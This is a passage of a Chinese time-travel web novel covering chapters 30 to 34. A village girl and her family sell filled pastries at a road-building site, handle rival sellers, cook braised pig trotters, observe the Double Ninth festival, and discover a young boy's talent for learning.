张翠花闻言，便歇了话，一家人在沉默中吃完了晚饭。
只是屋外却突然响起了人声：“翠花在家吗？”
张翠花转头，她听出是谁的声音了，眼里颇有些恼怒的样子，也不出去迎，只在屋里对着院外道：“直接进来吧，院门没锁。”
李姝抬头，一位和她娘差不多年纪的婶子走了进来，手边拿了个小篮子，脸上带着笑容，只是笑得有些...讨好？
张翠花见她进来，面色有些冷淡，没有了往日的爽朗大笑，只颔首让那人坐下，“坐吧。”
李忠见状收了碗筷出去洗碗了，这里的战场他还是不要参与的好。
陈香兰有些尴尬的坐下，也不敢坐全了，只压了个椅子边，见对面没有说话的意思，便开了口：“翠花，今日，真是谢谢了。”
“我可当不起你的谢。”张翠花闻言斜瞥了一眼，脸上皆是怒容。
李姝猜出是谁了，今日，就是这位婶子跟她娘一起卖吃食？怎地还特意过来说谢谢？
这话说得阴阳怪气，陈香兰也知道今日自己做得属实过分了，也不敢回怼，只推了推手边的篮子道：“对不住，我是来赔罪的，这是我们自家做的腊肉，还望你大人不记小人过。”
张翠花本就不是什么小心眼的人，她只是气不过陈香兰瞒着她就算了，还在那说什么糖糕比馅饼便宜多了的话，这不是明摆着要坏她的生意吗？
她气未消，一时也不想原谅，只说：“拿回去吧，用不着，你要卖吃食是你的事，我也管不着，只是下回别再说什么比我们卖的便宜这种话了。”
陈香兰知道张翠花的性子，她若是气没消，便是什么也听不进去的，只是她不记仇，不会一直揪着不放。
“再不会了，翠花，是我说错话了，对不住，这腊肉你拿着吧，我回去了，你气没消，是我该的，明日我再来找你。”陈香兰知道自己说什么都没用，只放下了腊肉便要走。
“拿回去，哪用得着这些，你把这腊肉拿来给我，你那婆婆知道不得撕了你。”张翠花还是没忍住，把人叫住将腊肉塞回了篮子，有些刀子嘴豆腐心，“下回你要还是像今日这般，我定是要闹到你家的。”
陈香兰眼眶霎时红了，只是这是在别人家，她盯着地面拼命忍住了才抬头，只有些哽咽地说：“多谢。”便头也不回地走了，生怕自己下一刻便哭出来。
李姝和已经洗好碗的她爹对了个眼神，两人眼里都是笑意，她娘怎么这么好！
31. 第 31 章
第二天张翠花心情颇好地回来，还特意多买了一斤五花肉，进门时脸上的笑容都止不住。
“姝儿，今日我们做的一百个馅饼都卖完了。”话语中是掩不住的兴奋。
今天李姝特意加了数量，就是想看看极限能卖多少，没想到一百个居然也卖完了，这说明除去那些基本不买的人，剩下的基本上人手两个馅饼，或者一个馅饼一个包子。
看来是工人们都习惯了，每日花个两三文钱已经不会让他们心疼，毕竟他们每日的收入有三十几文，花个两三文还算是在他们的接受范围内，而一旦养成习惯，她们的吃食就不愁卖不出去了。
只是，生意太好，肯定还会有人觊觎，昨晚的香兰婶子绝对不会是最后一个人，“娘，今日有别的人去卖吃食吗？”
“没有。”经过昨天的事，张翠花已经完全不担心了，别人的吃食能好过姝儿做的？别个人又不是没有嘴，尝个味便会知道谁做的好。
恐怕只是因为昨天的事，让那些蠢蠢欲动的人稍稍沉了会儿气，不出几日，定是会有人站出来。
因为事情只要有人开了头，便一定会有更多人跟在后面做，直至让人再也看不到源头。
果然，张翠花很是舒适的卖了又卖了一天，没有人再来分生意，可也仅仅是在一天后，便多了四五个人提着篮子出现在工地，不止有桃李村的，还有其他几个村子的村民，都是自家有人在工地修路的，得了消息后便也想分出来一杯羹。
这回的人吸取了陈香兰的教训，卖的糖糕可不是连甜味都没有的了，只是舍得放糖的后果，便是价钱要比陈香兰贵，最终是卖的一文钱一个。
另外还有卖糖水的，甚至还有人自家做了腌梅子和瓜子等零嘴出来卖的，连着两日，张翠花卖得越来越慢，数量已经减回七十五个馅饼，十几个包子了，虽勉强能卖完，只是不如从前那般火热了。
张翠花连着两日都没精打采的回来，一回来便拉着李姝开始着急，“姝儿，这可怎么办？今日里许多人都去买那糖水和糖糕了，明日我们怕是卖不完。”
天气热，工地的水又不太够，很多人都是自己带上一坛子水去的，可还是热气难散，于是那用井水冰镇过的绿豆糖水便很受工人们喜爱，两文钱一碗，竟也有许多人将平日买饼子的钱省下来去买一碗糖水喝。
不过，李姝并不担心，这些吃食都没有战斗力，最多一个月有几天工人们想换换口味时会买一买，而不会当作主食一般天天吃，
毕竟都是农家的食物，能舍得花钱放糖已经是极限了，不会真的有什么很好吃的创新口味，
但她不同，她的馅饼包子是可以换很多口味的，既然有些人腻了，那就换个口味好了。
“娘，不用担心，工人们只是尝尝鲜罢了，明日我们换个馅吧，韭菜也不嫩了，咱换黄瓜鸡蛋馅，再往后换白菜鸡蛋馅，咱们口味多变一变，定是能留住客人的。”
张翠花这时才总算放心，每次跟自家男人说时，他都是说些不用担心的车轱辘话，李忠知道自家女儿有主意，于是半点不着急，可张翠花不知道，只两日便开始着急上火，
如今女儿总算有实际的应对法子，虽不知法子可不可行，总好过看着自家生意一天天差下去的好。
“成，那明天我多摘些黄瓜回来。”终于可以松口气，张翠花把钱给李姝后，便准备去澡房洗漱。
李姝拿着今日她娘买回来的猪脚进了灶房，前些日子便想吃了，可一直没买到，还是那肉案张师傅见张翠花日日问，才特意在今日留了个猪脚给她，花了三十文。
李姝进了灶房放下猪脚，便开始泡黄豆，黄豆炖猪脚，是她特别喜欢吃的一道菜，还没开始做就已经馋了，在这里，能吃一顿实在不容易。
拿起猪脚看了看，发现猪脚的毛被剃得很干净，无需再除，肉块也剁得刚好，不用改刀，这肉案师傅还真是个细心的人。
于是李姝只用水冲了冲便放在一旁，黄豆得泡半个时辰以上，她不着急做饭，只是先把需要用到的配料拿出来，顺便切了一块老南瓜以及一棵白菜。
想了想，李姝又拿了两个鸡蛋，想试试鸡蛋炒白菜的味道，从前她并没有吃过，只是知道可以炒，如今正好试试，看能不能用来做素馅饼。
只是鸡蛋却是不多了，正好此时李忠进了院子，他拿着中午的碗筷进来，见灶房多了个猪脚，两眼便开始放光：“姝儿，今日你娘买着猪脚了？”
自从姝儿的厨艺见长，他发现自己变馋了许多，从前明明也不是个贪吃的性子，谁知如今竟日日盼着吃肉。
可他内敛惯了，也不大好意思在家人面前表现出来，说出来怪害臊的，快四十岁的人了，还如孩童般馋肉。
李姝看她爹两眼放光的模样，心下有些好笑，却也有些心酸，他们家从前太节俭了，就算有她这个年纪还不大的女儿在，依着原身的性子，怕也是从不张口的，更别说爹娘了。
往后定要让家人日日都能吃上肉。
李姝只装作没看见他爹馋嘴的模样，答道：“对，娘说那肉案师傅特意留给她的。”
李忠笑呵呵地瞧了瞧，正要出去，却被李姝叫住了，“爹，你可知谁家有多的鸡蛋能卖？咱家的鸡蛋快没了，怕是明日不够做素馅饼。”
这里最大户的便是里长了，李忠点头：“我去问问，姝儿，要买多少？”
当然是越多越好，但是她不知道价格，于是便问道：“咱在村里买和在县里买价格一样吗？”
李忠一听便懂了，随即道：“县里的便宜些，村里的鸡蛋量少，珍贵，许多人都不愿卖的，我只买十来个应应急吧，明日去县里买。”
李姝点头，“行。”
李忠随即出门去了，他打算先去里长家，若是连他家都不卖，其他人家怕更是难卖。
黄豆炖猪脚，最重要的是要把猪脚的骚味去除，这里没有白酒，李姝只能又开始霍霍她爹的口粮，又舀了一碗出来。
料都备好了，李姝准备热锅下油，油热后先放入姜片，炸至微微焦黄时倒入猪脚和葱段香料等一起翻炒，炒至猪脚微微有些皱皮时沿着锅边浇入一圈米酒，快速翻炒直至米酒挥发，然后再次倒入米酒翻炒，如此重复两次，将最后一道酒味挥发后，便倒入开水没过猪脚，剩下的黄酒也全部倒进去。
此时就可以开始调味了，倒入酱油，加入适量的盐以及泡好的黄豆，煮至水重新烧开便可转移到砂锅中慢炖。
张翠花看得眼睛都不眨一下，光是翻炒时散出的香味就已经让她忍不住想吃了，她从不知道，猪肉竟是可以做成这般模样，她从来没有在平山县吃过，若是人人都能将猪肉做成这样，怕是往后猪肉再也不是贱肉了吧？
没有压力锅，砂锅炖只能以时间取胜了，李姝洗好锅后，也不着急再炒菜，只是和她娘在堂屋裁油纸，随后，李
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忠也买了鸡蛋回来，一共买了十个。
“你去哪买的？”张翠花抬眼瞧了瞧数量，发现并不多，“怎地买这么少？”
“里长家买的，他给我按县里的价格，一文钱两个鸡蛋，明日去县里带些鸡蛋回来吧，村里人自家都不够吃，还是不多买了。”李忠放下鸡蛋也在堂屋坐下，想跟着一块裁，被张翠花一手拍开了，“快去洗漱，一身土。”
被打了不生气，李忠笑呵呵地把剩余的钱放在了桌上，对着李姝道：“姝儿，这是剩下的。”
说完便去澡房洗漱了。
李姝将钱收起来，如今还没到一个月，还不到算账的时候，如今还是先攒起来，等月底再和家人分。
猪脚炖了一个时辰，李姝已经炒了一盘鸡蛋白菜以及一盘清炒南瓜，此时砂锅里还剩了些水，李姝将猪脚重新回锅收汁。
刚开盖，浓郁的酱香味掺杂着黄豆的香气便扑面而来，砂锅中的猪脚随着慢火咕嘟咕嘟摇晃，光是看着便能让人想到那软糯的口感。
李姝忍不住咽了咽口水，将猪脚倒入锅中不停地翻炒着，因着加了米酒，水分快要完全蒸发时，猪脚开始变得有些许粘稠，像是加了薄薄的一层水淀粉，此时炒过之后的黄豆香味彻底被激发，空气中都是浓浓的酱香味，如此，便可出锅了。
猪脚被端上桌时，一家人默契的将筷子伸向同一个位置。
经过一个时辰的炖煮，猪脚已经浸透了香味，肉也炖得鲜嫩多汁，夹在筷子上，只是稍微一动，那连着瘦肉的猪皮便跟着一块晃动，油光的汁水也瞬间跟着溢出，好不诱人。
放入口中轻咬，味蕾瞬间被炸开，浓郁的咸香加上软糯的口感充满着整个口腔，肥而不腻，每一口都让人欲罢不能。
一家人好半晌都没说话，只是默契地吃了一块又一块，李姝吃得差点热泪盈眶，真的好香！
李忠吃得有些狼吞虎咽，他尤其喜欢那软糯的猪皮，一点猪肉的骚味都没有，吃起来满口的黄豆香气，真的太好吃了，他一晚上连着吃了五六块，最后连汤汁都没剩。
而张翠花则更喜欢里面的黄豆，黄豆泡过之后又炖了一个时辰，此时已经吸满了汤汁，吃起来真真是美味，若是再舀上一点汤汁拌饭，连着黄豆米饭一块吃，更是香得让人恨不得长了十张嘴，只为了能多吃一口。
吃至最后，大家都吃撑了，纷纷摊在椅背上摸肚子，明明已经吃饱了，可却还是忍不住回味方才的口感，感受着口腔中残留的味道。
李忠打了个饱嗝，对着女儿感叹道：“姝儿，这个太好吃了。”
李忠从来不会如此激动的发表看法，今晚的猪脚真的是他至今吃过最好吃的猪肉，真真是让人陶醉不已。
李姝此时半眯着眼，困得只想睡觉，只迷糊地说了句：“爹喜欢的话，我下回还做。”
张翠花看着这父女俩摊着不愿动的模样，暗暗笑了，起身收了碗筷，也不叫自家男人了，自个出去井边洗好，正好消消食。
院外，月亮已经升起，倾泻了一地的月光，张翠花就着月光洗好了碗，她并未回去，只是站在井边伸了伸懒腰，如今入夜后已经有了些凉意，吹得人很是舒服。
明日便是重阳了，她扭头对着屋里扬声：“李忠，明日便是重阳了，明日一早，你去摘些茱萸回来吧。”
李忠还瘫在椅子上，闻言有些惊讶，竟是重阳了吗？
“好。”
32. 第 32 章
重阳九月九，遍地茱萸香。
张翠花今日起了个大早，将昨晚泡好的大米捞出，并上锅蒸熟。
而李忠则早早出门去后山摘茱萸了，此时晨曦未明，茱萸上还滚着露珠，李忠将摘回来的茱萸分成四份，一份挂在了院门上，剩下的三份则放在了堂屋桌子上，准备饭后一家三人各自挂在身上。
灶房里，米饭已经蒸熟，张翠花把米饭倒入石钵中，并撒了些糖进去，便开始用木棍锤击，砰砰砰的声音唤醒了李忠的瞌睡。
正捣得手酸，突然木棍被抓住了，张翠花转头，自家男人有力地接过自己手中的木棍，沉稳的声音在耳边响起：“我来。”
略带低沉的声音像是贴着自己耳朵，竟让她略微有些羞，她顺从地放下了木棍，也不敢再看自家男人了，转身去拾掇早饭。
一通心不在焉地忙活，才让她逐渐回神，见身后的男人沉默不语地干活，便扯了扯嗓子问：“今年里长可有说开祠堂祭祖？”
李姓家族本就是百年前逃荒到此地的，村子里多少都有些共同的祖先，往年重阳，里长会开祠堂组织祭祖，可也不是每年都如此，因此张翠花才想问清楚，免得自家没个准备。
李忠锤着米饭正在醒神，有些迷糊地答：“没说，应是不开了。”顿了顿，他打了个哈欠，又接着说：“爹娘和祖父母那边，得让你费心去一趟了。”
“知道，我记着呢。”张翠花搅了搅粥，以防粘锅，随后一边起身到角落坛子里拿了棵酸菜出来，一边又说：“姝儿自从不记事之后，还未去祭过，正好带她认认路。”
李忠点头：“正是如此。”
两人一块忙活，时间过得很快，看着外面的时辰有些晚了，张翠花催着李忠赶紧用早饭，若是耽误上工，怕是会被责罚，况且两个监工还那般不通情理，见有人犯错，免不得会磋磨人。
自家男人出去用饭了，张翠花则在灶房继续做花糕，家里也没有什么其他的点缀，只在团成方块的糕点上放了些切碎的红枣。
想了想又去外边菜园边上摘了几朵野菊，冲洗干净后将花瓣摘下撒在方糕上，权当应个景。
李姝起来时，她爹早饭都吃完了。
她走进堂屋，发现爹娘正在往对方身上挂着什么，“爹，娘，这是在做什么？”
张翠花紧了紧绳子，抬头道：“插茱萸，姝儿，过来，娘给你挂上。”
原来茱萸是插身上的？李姝之前听那首耳熟能详的古诗听多了，一直以为茱萸是插在山顶的，合着是自己太没文化了，原来身上也可以带着。
李姝拿起她娘给她挂上的茱萸，凑近闻了闻，有一股苦味，但是还挺好闻的。
“姝儿，快过来吃早饭，别闻了。”张翠花已经风风火火地喝起了粥，等会的事多呢。
“来了。”李姝坐下，今日的早饭是一如往常的白粥配酸菜，还多了一盘糕点？
她夹起一块花糕，有些好奇：“娘，这是什么？”
“这是花糕，用米饭做的，快尝尝。”
李姝咬了一口，口感像是糍粑，糯叽叽挺好吃的，只是，这是甜的？
“娘，咱家有糖吗？我怎地没找到？”之前她翻遍了厨房也没看到有糖啊？
张翠花抬头示意：“有，不在灶房放着，在那放腊肉的偏间里呢。”
那偏间常常锁着，李姝一直以为是用不过来的废间呢，毕竟家里确有几间房是用不上的，从前祖父建房时怕是连曾孙的房间都备好了。
她观察过，他们家在桃李村算是挺大的了，院子里还专门打了一口井，很多人都是去村北处的大井打水的，洗衣则去后山脚下的河道洗，而他们家用水却可以足不出门，可见祖父的财大气粗了。
看来她得去偏间看看还有什么物资，不然日日吃那些菜都吃腻了。
李姝吃了一块花糕便不想吃了，她不喜欢吃这种甜滋滋的糕点，吃一块便有点腻味，只专心的喝粥，此时张翠花已经吃完了，见女儿这慢悠悠地喝粥，有些无奈：“姝儿，别磨蹭，等会要去祭拜你祖父母和曾祖父母。”
说完又进了灶房开始和面，面得先发，所以要早早备好，经过这些时日，张翠花已经能熟练的揉面发面了，具体的量李姝已经规定好，只要严格按规定放面引子和灰水，便不会再有问题。
“好，我很快了。”李姝快速呼噜了一会儿，亏得是粥，不然得被她娘催得噎死。
桃李村的祖坟都建在村子尽头的矮坡处，他们家离得最近，一刻钟便能到，李姝恭敬地上了香，虽不是真正的李姝，可毕竟占了别人的身子，况且她早就已经是这个家的一员了。
张翠花拿着几碟子花糕摆在坟前，没说什么，该说的不该说的，祖宗们都明白，况且年年来，早已把话都说了，也不用再啰嗦一遍吵得祖宗在地下都不得安宁。
她只叫了李姝一声：“姝儿，走吧，你祖父他们定是已经收到你的孝心了。”
李家的祖宗们，若是真的在天有灵，望你们能接受我这异世界的灵魂，我定会以李姝的身份好好生活，不会给你们蒙羞的。
今日馅饼还是做了七十五个，换成了黄瓜鸡蛋馅，黄瓜切丝加盐挤干水分，鸡蛋炒碎后和黄瓜拌匀，加入酱油、盐和少许糖调味，实在没有别的调料了，李姝最后抓了把葱花，用热油泼香，如此，也可增加少许香味。
李姝的脚已经没什么问题了，她向她娘再三保证自己不疼了，还说下午顺便可以去固生堂复诊，才获准出来一起卖吃食。
已经十几日，工人们今日已经修到桃李村附近，她们娘俩到工地时，已经有人比她们先来了，李姝经过时瞄了一眼，见她卖的是绿豆糖水。
这人并不是桃李村的，不知是不是上回陈香兰的事让她们明白比不过，桃李村的人出来卖吃食的只有一个人，卖的还是零嘴，生意似乎并不好。
张翠花带着李姝找了个新的位置坐下，工人还没下工，李姝蹲在一旁练字，肌肉记忆还是有点用处的，经过这几日的练习，李姝的字肉眼可见的进步，比她第一次那大小不一的样子好多了。
突然，李姝感觉有一道视线盯着自己，她抬头，发现不远处有个小男孩蹲在一
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块石头后，圆溜溜的双眼正有些好奇地看着自己，看自己发现了，便像一只小鹿一样缩在了石头后面。
李姝推了推她娘，问：“娘，怎地多了个小孩，是谁家的？”
张翠花扭头看了一眼，回道：“县里一个工人的孩子，听说婆娘受不住家境贫寒，跟人跑了。”说罢，她招了招手，示意小孩过来，叹了口气说：“唉，也是个苦命的，他爹前些日子本是托邻居照看，可个个都有事，哪能照看得过来？于是他爹便将人带到这了。”
小男孩认识张翠花，也不怕生，别人招了手他便走过来了，只是他第一次见李姝，有些认生，不敢凑近她，只乖巧地站在张翠花身边。
张翠花拍了拍小男孩的身子，顿时黄土满天飞，一个孩子孤零零地在一群干活的大人中间，也没个能一起玩的玩伴，便只好跟泥土玩了，滚得满身都是黄土。
“幸好这孩子也听话，一个人玩也不哭不闹地，知道心疼他爹。”张翠花拿出了帕子沾了水，对着小男孩道：“小飞，婶子帮你擦擦脸，可不许乱动哦。”
小男孩听话地停下了乱动的脑袋，有些小声地回：“嗯。”只是眼睛却不敢看大人，像是害怕大人会伤害他。
怕小朋友不舒服，李姝没再盯着，只继续在地上练她的字，练到第三个的时候，身旁有个小小地声音响起：“错了。”
李姝转头，字应该是对的，她还不至于连这几个字都记不住，如果错了的话，也只是笔画？于是，她有些好奇道：“哪错了？”
小男孩这会儿倒是胆子大了不少，拿了根棍子在李姝的字后面写了个同样的字，李姝看明白了，确实是笔画的问题，她顿时有些惊奇，这小朋友读过书？
本着增加孩子的积极性，李姝开启了夸夸模式：“原来是这样，你真厉害，可是你在书院学的？”
小男孩小脸顿时红了，怕是从前没人这么夸过他，成就感让他眼睛都泛起了光，可是提到书院他又有些垮脸，小小的嘴巴委屈的抿起：“不是。”
怎么还委屈了？李姝有些摸不着头脑，“那，是你自己学的？”
小小的脑袋摇了摇，也不知想到了什么，眼里像是有些害怕，“是，是夫子教的。”
李姝了然，“是不是夫子太凶了？”想到她哥，李姝更加感同身受，“夫子总是很凶，完不成作业要惩罚。”
小男孩想了想，平日里那些学堂里的人经常背不出作业便会被打手心，他在外面看着都害怕，于是点点头，小小的眉头皱起，“凶。”
这小脸真招人疼，肉嘟嘟地，说话还软软糯糯，听着便让人暖到心坎，李姝忍不住上手捏了捏他的脸，安慰道：“不要怕，下回夫子要是罚你，你便哭，哭得他头疼，他便拿你没办法了。”
小小的脑袋大大的问号，可是，夫子不罚我，我在外头听，他不用我背书。
可他小小年纪颇有一番沉稳，也没将话说出来，只低头继续写，将三字经默了个三分之一。
李姝：......古代的小孩要不要这么厉害？
她都背不了...
33. 第 33 章
工人们陆续下工了，看见今日李姝在，相熟的已经开始搭话，比如张蒙。
他照例买了两个馅饼一个包子，在不远处的树荫下坐着，身边坐着不时偷偷看李姝的王涛，张蒙知他心思，开口问道：“姝丫头，你今日竟过来了？身子可有好些？”
李姝转头，手下未停，笑盈盈地答：“已经好了。”
张蒙斜眼瞥了自家侄子一眼，见这傻小子终于松了眉头，不再皱着个脸，不禁想笑，又有些看热闹不嫌事大的朝着李姝出声：“伤筋动骨一百天，你这还是多养些的好。”
果然，傻小子王涛刚到嘴边的馅饼又放下了，竖着耳朵又在默默地听。
这人，怎地突然这么关心我？李姝抬头，正好瞧见张蒙瞥向王涛笑，王涛拿着馅饼也不吃，上半身板板正正地立着，有些不着痕迹地侧了侧身子，像是想要听得更清楚，李姝觉得不对劲，又看张蒙这贱兮兮地模样...
一瞬间，她好像反应了过来，都忘了这茬了...
看那王涛还在正襟危坐的模样，李姝心下叹了口气，全部注意力都投给意中人的恋爱，她已经很久没有体会过了，可她早就过了会毫无保留付出真心的年纪，实在承受不起这样热烈的爱意。
得找个机会跟他说清楚，免得他误会。
张蒙还在等答复，扭头却看见李姝像是悄悄看了眼王涛，他内心一喜，以为自家侄子有机会，还没怎么着呢，自个先嘿嘿笑了起来，一时间连自家侄子婚礼的事都已经在脑中筹划了。
李姝装作没看到，只是感激地答：“有劳叔费心了，今日出来便是想着去县里找个大夫复诊看看的。”
张蒙点了点头，“确应复诊瞧瞧。”他心下觉得自家侄子的事成了一半，盘算着什么时候找李忠说说，看看他们家是什么态度，两家是否有成为亲家的缘分，若是有，那明年即可定亲。
身旁的王涛终于放松地吃着饼子，只一口一口吃的很慢，这神不思蜀的模样，一看便知道还在听着不远处李姝的说话声。
多日未见，李姝突然出现时他是十分欢喜的，可是如今人就在不远处，他却又不敢多看，生怕别人瞧出来，坏了她的名声，只好苦大仇深地听着意中人的声音以解相思。
而在一旁听了半天的李忠，却悄悄皱起了眉，这张蒙突然这般关心姝儿是什么意思？他瞧了瞧女儿，并未看出她对王涛有什么心思，自家女儿她是知道的，若是真的对人起了心思，定不会这般模样。
况且，他们家本就不想女儿过早定亲，他早就打定主意要姝儿找个自己喜欢的人家，既然姝儿对这王涛无意，他有必要敲打敲打张蒙了。
李姝没他们想得那么复杂，她现在的目标是要在县里开铺子，再买辆驴车，如果可以的话再在县里买套房，至于嫁不嫁人，她完全没心思。
不知是不是因为换了新口味，或者是两日过去工人们都已经尝过鲜，导致其他几个摊子从头到尾都无人问津。
那各自拿着篮子卖吃食的妇人都有些尴尬，也有些眼红，可她们也没法子，自家吃食留不住客，她们也只能自认倒霉，只好早早收了摊子走了。
而李姝今日的馅饼都卖完了，包子的话，她特意留了几个包好没有卖出去，起身时无意间看到那叫小飞的小男孩在不远处坐在他爹身旁，时不时转头看着别人手中的包子咽口水，可他甚是乖巧，只默默地看，也不闹着让他爹买，只有眼珠子左蹿右蹿时能看出他的馋。
李姝朝他招了招手，他看见了，眼睛一亮，立马起身走了过来，小步子迈得有些急，方才张翠花给他扎的小辫子一晃一晃地，像个蹦蹦跳跳的小兔子，他走到李姝跟前，仰着头也不说话，眼睛一闪一闪地露出他的疑惑。
李姝蹲下，看着他说：“小飞，今日你教姐姐认字，姐姐没什么能答谢的，就用这个包子作为谢礼可好？”
身前的小朋友眼睛顿时亮了，可他并没有伸手，只是有些不知所措地看了看他爹，小脸有些纠结，半晌，他像是下定了决心，奶声奶气地说：“爹说了，不能拿别人的吃食。”
李姝有些意外，看着也就五岁左右的小团子，竟然还能抵住诱惑，她继续道：“你不是白拿的，是因为你帮了姐姐，姐姐才给你包子，就像你爹，今日干了活便有工钱拿，你也干了活，所以可以拿。”
见他双手在背后搅成一团也不敢伸手，李姝心下轻笑，这小团子还挺有原则，于是使出杀手锏，
“往后姐姐还要你帮忙呢，之后每日你都教姐姐写字好不好？不仅要写，你还要背给姐姐听，让姐姐也学一学，往后你就是夫子了，每日一个包子便是你的束脩。”
听了这话，他亮晶晶的眼睛一闪一闪，终于伸手接了包子，脸上泛起害羞的红晕，看得身旁的张翠花满脸笑意，忍不住将小团子抱在怀中轻揉：“哎呦，真是太可爱了，小飞，快吃吧，姝姐姐说这是你的束脩，你爹不会骂你的。”
此时小飞的爹走了过来，以为自家孩子闹着要包子，有些歉意地说：“对不住，小飞是不是闹你们了。”
一边说还一边伸手掏了两文钱递给李姝：“姝姑娘，这是包子钱，实在对不住，小飞怕是嘴馋了，若是有闹着你们的地方，望你见谅。”
李姝把钱推了回去，看着已经一脸将哭未哭的小团子，笑着说：“叔，我不能收钱，这是小飞自己赚的，可不是我给他的。”
眼前的壮汉有些不解，“赚的？”
李姝拉着小飞起身，摸了摸他的头道：“是，小飞往后就是我的夫子了，这个包子是他的束脩，他很厉害，能默写三字经呢。”
壮汉看着自家儿子，满脸震惊，他怎么不知道自家儿子会背三字经？
看他的反应，李姝有些疑惑，“叔，小飞的三字经不是在书院学的吗？”
壮
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汉一脸茫然，“我没送他去书院。”他蹲下看着自己儿子，有些严肃地问：“小飞，你和谁学的三字经？”
此时的小朋友看着大人严肃的模样，早已吓得脸色煞白，还未开口，眼眶就滚落了两行泪珠，他还不敢发出声，只嘟着嘴忍着，好不委屈。
他知道自己做错事了，一时间害怕得不知道怎么说，只一个劲地往他爹怀里钻，怎么也不愿抬头。
看得张翠花一脸心疼，赶忙开哄：“小飞不哭，不哭哦，你能背三字经是好事啊，说明小飞很厉害，这么小就这么有能耐了，比你姝姐姐可厉害多了，她这么大了都背不出来呢。”
李姝...
这么多安慰人的话，她娘怎么专挑她的软肋说...
低头看了眼哭得抽气的小团子，算了，娘说的也是实话，忍了，这小团子连哭都这么懂事，声音小得跟蚊子似的，生怕吵到周围休息的人，实在是让人心疼都来不及。
壮汉也反应过来自己过于严肃，吓到儿子了，赶忙抱起儿子安慰，好半晌，哭得上气不接下气的小团子总算是停了，听大人们没有责怪自己的意思，才抽抽噎噎地小声说：“我在书院外面听夫子爷爷讲的。”
这话一出，四人都愣住了。
这也行？李姝看着眼前这只到自己膝盖的小团子，内心哀嚎：还让不让人活了？
张翠花是第一个反应过来的，连忙抱着小团子猛夸，比人家爹都高兴，“哎哟，真是个惹人疼的小宝，我冷眼瞧着，你竟是比那年画上的金童都聪明可爱，真真是让人忍不住放进眼珠子疼。”
看着一瞬间被自家娘亲哄得笑开了花的小团子，李姝陷入了沉思，小时候，我和哥哥应该...很让娘头疼吧？不然怎地不见她这么夸我们？？
壮汉此时也反应过来了，自家儿子仅在书院外听，便能将三字经背下来，说明他确有读书的才能，他一瞬间沉浸在巨大的喜悦中，要知道，他们家几代都没出过一个读书人啊。
旁边被吵醒的李忠此时一脸笑意地对孩子亲爹说：“张和兄弟，往后得给孩子找个好老师，小飞往后怕不是能考状元呢，可不能马虎了。”
张和挠了挠头，憨笑道：“多谢李忠兄吉言，回去我定会给他去书院报名，只是孩子还小呢，当不得这般夸，若是能像您儿子那般考中秀才，就已经是我家祖坟冒青烟了。”
两人还在寒暄互夸，李姝拿起方才递出的包子，示意小飞快吃，小朋友挨了好几顿夸，吃包子也不再小心翼翼了，咬了一口后又孝顺地把包子递给他爹示意他爹也吃。
他爹哪会跟他抢吃食，只是摸了摸他的头，让他自己吃，随后和李家一家三口道了谢便回了方才休息的地方，临走时李姝还和小团子约定，明日要记得教她写字。
唉，堂堂大学生，沦落到要哄小孩子教自己认识那些生字，可她也没办法，谁让自己没文化呢...
34. 第 34 章
今日重阳节，李姝和她娘临近城门时，遇到了许多去城外登高之人，有三五成群的文人，有一家出行的大户人家，也有成群结伴的年轻姑娘家，他们的目标都是城外不远处的青城山，那是平山县最高的山，山上还有一座青山寺，环境清幽景色优美。
李姝看着远处一簇一簇的人，推了推她娘问：“娘，那些人是不是跟哥哥一个书院的，哥哥会去那青城山登高吗？”
张翠花瞧了瞧远处那往回走的几个书生，点了点头道：“确实是平山书院的，不过，你哥不爱登高，这时不是在书院读书就是在他恩师陈夫子那边。”
张翠花说得没错，李挺确实在恩师家，今日重阳，师母早早就开始准备做饭，打算晚上做一桌好菜过节，老师把去年泡的酒拿了出来，准备今晚和儿子以及学生好好热闹热闹，只是，李挺刚上门，却发现老师家里多了个陌生男子。
也不算完全陌生，这男子便是上回蹲在地上想帮李姝治脚的人，李挺有些意外，他是谁？
见李挺疑惑，他的恩师陈述便热情介绍：“长直，这是我从前好友的儿子，姓张名寒铮，字子坚，子坚，这是我弟子李挺，字长直。”
两人相互见礼，李挺笑了笑道：“上回还未多谢子坚兄呢，没想到竟能再次遇见，实属缘分，在此李某再次多谢了。”
陈述有些惊奇，“你们俩见过？”一旁陈述的儿子陈九思也吃起了瓜，有些好奇地看着师兄。
于是李挺把上回自家妹妹崴脚的事说了一遍，只是隐去了一些细节。
张寒铮也未反驳，默认了他的“缺斤少两”。
听李挺说到自家妹妹，陈述放下了手中的茶杯，顺势问道：“小姝如今也十四了吧？”
李挺自顾地在师弟边上坐下，点头道：“是。”
陈述叹了口气，“竟过得这般快。”又对着李挺笑道：“下回带小姝来这吃饭，许久没见了，也不知道那丫头还记不记得我这老头子。”
李挺抬眼瞧了瞧恩师，这老头最近越发爱热闹了，于是戏谑道：“让她再来给您拔拔胡子？”
陈述也不介意自己弟子的调侃，反而哈哈大笑：“可不是，留这般久，就是等着她呢。”
自己祖父和恩师是忘年交，祖父从前总喜欢带着他们兄妹俩出门，第一次见恩师时姝儿便把恩师的胡子给拔了，原因是她爹跟她说留胡子不干净，小时姝儿还真是什么都听爹的。
李挺想到这，也忍不住笑了，那会祖父摸了摸自己的胡子，生怕姝儿把自己的胡子也给拔了，幸好那时姝儿害怕祖父，才不敢上手。
也不知是不是许久没有人跟恩师扯过闲篇，突然提到了姝儿，恩师跟打开了话匣子一般，又笑着问：“小姝可还如从前那般不爱读书？我记得她小时候一看书便要打瞌睡，你祖父每回见我都要发愁。”
李挺...一想到上次询假自家妹妹那学得不情不愿的模样，一时间不知该怎么答。
虽说自家妹妹往日的确不上进，可他也不能在外人面前说妹妹懒惰吧？恩师一家听了也就罢了，这还有别人在呢，李挺侧头瞄了眼对面的人，见他像是没听到一般，只低头专心的喝着茶。
倒是个喜怒不形于色的。
而陈九思一听这话便两眼放光，他高兴地对着他爹辩解道：“我竟不知小姝妹妹和我有一样的毛病，我日日瞧着书也要打瞌睡呢，爹，这真的不怪我不努力，你看这世上确有看书就犯困的人。”
陈述气得胡子都快立起来，这个逆子，“自个不上进还要将由头推给别个人，怎地不见你看那些闲书时犯困？罚你今日多写一篇文章交上来。”
陈九思...爹，你是不是早就想让我多写一篇了？？
李挺适时出声：“姝儿近日倒是知道上进了，前些时间做了些吃食摆了摊子去卖，还央着我教她认字算账呢。”自家妹妹还是自家宠，他没应从前的事，只说最近。
陈述一听，更是逮着自家儿子一顿教育，“你瞧瞧，方才还说小姝跟你一样，人家小姝可比你知道上进。”
陈九思闭嘴不出声了，怕一个不小心，又给他爹逮到机会。
